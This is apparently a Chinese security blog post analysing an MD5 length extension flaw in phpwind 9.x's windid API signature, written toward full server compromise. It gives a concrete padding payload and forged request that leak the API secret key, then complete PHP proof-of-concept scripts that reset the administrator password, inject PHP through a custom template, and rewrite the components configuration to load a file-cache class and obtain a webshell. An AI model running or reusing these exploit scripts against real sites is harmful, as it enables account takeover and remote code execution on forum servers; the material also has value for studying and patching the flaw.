phpwind9.x的Md5 Padding Extension漏洞分析

0x00 前言

这是一个比较有意思的漏洞,漏洞已经在乌云网上提交(http://www.wooyun.org/bugs/wooyun-2016-0210850),官方也已经发布了补丁(http://www.phpwind.net/read/3709549),并且安全研究员phithon也第一时间发出了他的漏洞分析https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html,其实内容基本一致,不过关键还是在于如何直接GetShell上。不以GetShell为目的的代码审计都是耍流氓。

0x01 简介

phpwind是采用PHP+MySQL方式运行的开源社区程序。轻架构,高效率简易开发,助你快速搭建并轻松管理社区站点。面向移动互联网应用需求,PW还提供移动社区客户端,把社区站点从PC迁移到手机,实现应用、数据融合互通,一站式多终端服务,确保用户体验自然过渡。

0x02 某接口

windidserver在有$secretkey的情况下是可以做很多事情的,包括操作用户的所有信息,更改配置等。

1

前面也存在过漏洞 http://www.wooyun.org/bugs/wooyun-2014-072727 不过新版本修复了。

0x03 接口验证缺陷

windidserver 接口的验证代码如下:

/src/applications/windidserver/api/controller/OpenBaseController.php

public  function beforeAction($handlerAdapter) {
  parent::beforeAction($handlerAdapter);
  $charset = 'utf-8';
  $_windidkey = $this->getInput('windidkey', 'get');
  $_time = (int)$this->getInput('time', 'get');
  $_clientid = (int)$this->getInput('clientid', 'get');
  if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
  $clent = $this->_getAppDs()->getApp($_clientid);
  if (!$clent) $this->output(WindidError::FAIL);

  if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);
  
  $time = Pw::getTime();
  if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
  $this->appid = $_clientid;
 }

跟进 WindidUtility::appKey
/src/windid/service/base/WindidUtility.php

 public static function appKey($apiId, $time, $secretkey, $get, $post) {
  // 注意这里需要加上__data,因为下面的buildRequest()里加了。
  $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
        'Filename', 'Upload', 'token', '__data');
  $str = '';
  ksort($get);
  ksort($post);
  foreach ($get AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
  }
  foreach ($post AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
  }
  return md5(md5($apiId.'||'.$secretkey).$time.$str);
 }

简单看起来,好像验证非常完美,请求的所有GET,POST都加入 secretkey 签名中,除非得到secretkey,不然好像也没什么可能绕过的样子。

我们再来细致分析下,$apiId可知,$time也可以从URL中获取,而$str,是GET,POST参数形成,在某种情况下也是可以知道的,可以控制的。当然暴力破解$secretkey基本不现实。
但再细看,签名中密码长度是可以知道的

2

这不是可以存在md5 padding 么?

0x04 查找利用点

虽然缺陷存在,但存在和能利用完全是两回事。于是查找所有调用 WindidUtility::appKey 的地方

3

看来调用的地方着实不多呀,我们能获取已知加密后签名windidkey的地方好像只有

4

上传头像的地方,而且这个地方普通注册用户就可以获取到。
我们再来看看

$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));

GET 参数有
array(‘uid’=>$uid, ‘type’=>’flash’, ‘m’=>’api’, ‘a’=>’doAvatar’, ‘c’=>’avatar’)
POST
array(‘uid’=>’undefined’)
经过参数排序后,加密$str即为:
adoAvatarcavatarmapitypeflashuid2uidundefined

即头像上传页面中
http://127.0.0.1/index.php?m=profile&c=avatar&_left=avatar

<param name="FlashVars" value="postAction=ra_postAction&redirectURL=/&requestURL=http%3A%2F%2F127.0.0.1%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D2%26windidkey%3D743fdf975fc5f1ad123ed308f4a73588%26time%3D1463713559%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F127.0.0.1%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F2.jpg%3Fr%3D38651"/>

5

http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=743fdf975fc5f1ad123ed308f4a73588&time=1463713559&clientid=1&type=flash

其中 $array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
不加入签名
POST只有 array(‘uid’=>’undefined’)

windidkey = md5( 32位md5 + 1463713559 + adoAvatarcavatarmapitypeflashuid2uidundefined ) == 743fdf975fc5f1ad123ed308f4a73588

那么我们利用的目标是改变参数 c 和 a ,从而达到调用API中其它方法的目的。
问题来了

  $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
        'Filename', 'Upload', 'token', '__data');
  $str = '';
  ksort($get);
  ksort($post);
  foreach ($get AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
  }
  foreach ($post AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
        }

windidkey签名是输入参数的排序,a必定是排在前面,并且如何改变m、c、a的值,使得前面部分加密效果一致呢?
我们再看看 $str 是 $k + $v ,组成的 adoAvatarcavatarmapitypeflashuid2uidundefined
那么,我们是不是可以直接输入 adoAvatarcavatarmapitypeflashuid=2uidundefined,这样的参数,而不影响加密结果呢?
参数排序也是一个严重的问题,如果可以把我们注入的内容放在后面,那么就好办多了。
POST参数永远在后面,于是我想了想,m、c、a是否也是可以接受POST的值呢。

/**
  * 默认路由处理
  */
 public function defaultRoute() {
  $this->action = $this->request->getRequest($this->actionKey, $this->_action);
  $this->controller = $this->request->getRequest($this->controllerKey, $this->_controller);
  $this->module = $this->request->getRequest($this->moduleKey, $this->_module);
 }

 public function getRequest($key = null, $defaultValue = null) {
  if (!$key) return array_merge($_POST, $_GET);
  if (isset($_GET[$key])) return $_GET[$key];
  if (isset($_POST[$key])) return $_POST[$key];
  return $defaultValue;
 }

好了,万事俱备了。

0x05 漏洞利用

分析到这里,容我刷新一下key,因为超时了。
新链接为:
http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=21bd66932ce99a763e3e8862c7ce7300&time=1463715092&clientid=1&type=flash

adoAvatarcavatarmapitypeflashuid2uidundefined

md5( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) = 21bd66932ce99a763e3e8862c7ce7300

strlen( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) == 87

例如我们要调用的方法为:m=api&c=app&a=list,经过参数处理,即为:alistcappmapi
拿出 md5 padding 神器

6

Payload: ‘\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x00\x00\x00alistcappmapi’
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00alistcappmapi
MD5 after padding: a652e10c436dfd00815d552afa6ad1c5

URL:
http://127.0.0.1/windid/index.php?adoAvatarcavatarmapitypeflashuid=&windidkey=a652e10c436dfd00815d552afa6ad1c5&time=1463715092&clientid=1

POST
2uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00&m=api&c=app&a=list

7

从而获得 “secretkey”:”265c8be71570f96265e467c41784bace”

0x06 从secretkey到命令执行

在乌云提交的报告中,我对GetShell是轻描淡写的,一个简单的XSS,CSRF也是可以GetShell呢。更何况是可以控制用户(包括前台管理员),和大部分的配置了。下面我就简单提两种直接GetShell方式。

第一种,是我简单提到的http://www.wooyun.org/bugs/wooyun-2016-0175518(官方认为是正常功能)其实不用登陆后台,前台也是能直接利用的。不过方式比较暴力,不是太推荐

首先直接修改管理员密码

<?php
$secretkey = ‘secretkey’;
$c = ‘User’;
$a = ‘editUser’;
$data = array(‘uid’=>’1′,’password’=>’admin’ );
$time = time();
$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);

echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”\r\n”;

function post($uri,$data) {
$data = http_build_query($data);
$opts = array(
‘http’=>array(
‘method’=>”POST”,
‘header’=>”Content-type: application/x-www-form-urlencoded\r\n”.
“Content-length:”.strlen($data).”\r\n” .
“\r\n”,
‘content’ => $data,
)
);
$cxContext = stream_context_create($opts);
$sFile = file_get_contents($uri, false, $cxContext);
return $sFile ;
}

function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}

修改完后登陆,创建自定义模板

http://127.0.0.1/index.php?m=design&c=property&a=doadd

post

csrf_token=18c1f2c2e7fe6095&model=html&module_name=test&property[html]=<?php phpinfo();?>&pageid=1

注:csrf_token 请在查看源码中找。

7

http://127.0.0.1/index.php?m=design&c=design&a=modulecsrf_token=bd2e04d468ec5f70&moduleid=3

8

这里的moduleid是动态的,也就是添加后的总数,默认情况是3,一般系统也不会添加太多,遍列一下就行。

第二种GetShell方式还是比较有意思的。

前面说到,API接口可以更改一些配置信息。

在入口类中src\wekit.php

�0�2�0�2�0�2 public static function run($name = ‘phpwind’, $components = array()) {
self::init($name);
if (!empty($components)) self::$_sc[‘components’] = (array)$components + self::$_sc[‘components’];

/* @var $application WindWebFrontController */
$application = Wind::application($name, self::$_sc);
$application->registeFilter(new PwFrontFilters($application));
$application->run();
}

跟进PwFrontFilters

�0�2�0�2�0�2 public function onCreate() {
Wekit::createapp(Wind::getAppName());

$_debug = Wekit::C(‘site’, ‘debug’);
if ($_debug == !Wind::$isDebug) Wind::$isDebug = $_debug;
error_reporting($_debug ? E_ALL ^ E_NOTICE ^ E_DEPRECATED : E_ERROR | E_PARSE);
set_error_handler(array($this->front, ‘_errorHandle’), error_reporting());

$this->_convertCharsetForAjax();

if ($components = Wekit::C(‘components’)) {
Wind::getApp()->getFactory()->loadClassDefinitions($components);
}
}

可以看到,系统初始化时会加载配置表中pw_windid_config的components组件配置,配置中是用来定义类的路径、默认参数、初始化时的方法等。即我们可以控制系统加载的类路径和初始化的一些东东,由于代码太多,我只贴出关键部分,再来跟进

\wind\base\WindFactory.php

�0�2�0�2�0�2 public function getInstance($alias, $args = array()) {
$instance = null;
$definition = isset($this->classDefinitions[$alias]) ? $this->classDefinitions[$alias] : array();
if (isset($this->prototype[$alias])) {
$instance = clone $this->prototype[$alias];
if (isset($definition[‘destroy’])) $this->destories[] = array($instance, $definition[‘destroy’]);
} elseif (isset($this->instances[$alias])) {
$instance = $this->instances[$alias];
} elseif (isset($this->singleton[$alias])) {
$instance = $this->singleton[$alias];
} else {
if (!$definition) return null;
$_unscope = empty($args);
if (isset($definition[‘constructor-args’]) && $_unscope) $this->buildArgs($definition[‘constructor-args’],
$args);
if (!isset($definition[‘className’])) $definition[‘className’] = Wind::import(@$definition[‘path’]);
$instance = $this->createInstance($definition[‘className’], $args);
if (isset($definition[‘config’])) $this->resolveConfig($definition[‘config’], $alias, $instance);
if (isset($definition[‘properties’])) $this->buildProperties($definition[‘properties’], $instance);
if (isset($definition[‘initMethod’])) $this->executeInitMethod($definition[‘initMethod’], $instance);
!isset($definition[‘scope’]) && $definition[‘scope’] = ‘application’;
$_unscope && $this->setScope($alias, $definition[‘scope’], $instance);
if (isset($definition[‘destroy’])) $this->destories[$alias] = array($instance, $definition[‘destroy’]);
}
if (isset($definition[‘proxy’])) {
$listeners = isset($definition[‘listeners’]) ? $definition[‘listeners’] : array();
$instance = $this->setProxyForClass($definition[‘proxy’], $listeners, $instance);
}
return $instance;
}

这个类就是主要来加载表中pw_windid_config components的定义及创建实例是的一些默认配置。有意思的是,这里还是比较多的限制,有几种方式,最简单的就是更改$definition[‘path’],造成文件包含,但这里涉及到php截断的问题(系统默认是.php后辍),简单而不通用。

另外的方法就是在系统中找可以利用的类,限制条件是初始化是可以传默认参数,可以有set方法设置单一属性,可以调用任意方法,但不能传参。哈,有兴趣的同学可以自己研究一下。于是在系统中找吧,找能利用的类。

我提出两个类,大家可以研究下

/wind/mail/sender/WindSendMail.php

src\library\engine\extension\cache\PwFileCache.php

详细不说了,POC如下

<?php
$secretkey = ‘265c8be71570f96265e467c41784bace’;
$c = ‘config’;
$a = ‘setconfig’;

$data = array(‘namespace’=>’components’,’key’=>’windView’,’value’=> array(‘path’=>’SRC:library.engine.extension.cache.PwFileCache’,’initMethod’=>’get’,’properties’=>array(‘delay’=>’false’,’Config’=>array(‘value’=>array(‘security-code’=>’../../attachment/1605/thread/2_1_1542e6411847d69′) ))) );

$time = time();
$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);

echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”\r\n”;

function post($uri,$data) {
$data = http_build_query($data);
$opts = array(
‘http’=>array(
‘method’=>”POST”,
‘header’=>”Content-type: application/x-www-form-urlencoded\r\n”.
“Content-length:”.strlen($data).”\r\n” .
“\r\n”,
‘content’ => $data,
)
);
$cxContext = stream_context_create($opts);
$sFile = file_get_contents($uri, false, $cxContext);
return $sFile ;
}

function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}

?>

security-code 就是上传的txt附件,路径怎么得到?请查看源码。

执行poc后,再请求

http://127.0.0.1/windid/index.php,就是shell了(其它页面应该也是可以)

9

说得有点多了,不过总体起来,这还是一个比较有意思的漏洞。

发表评论

电子邮件地址不会被公开。 必填项已用*标注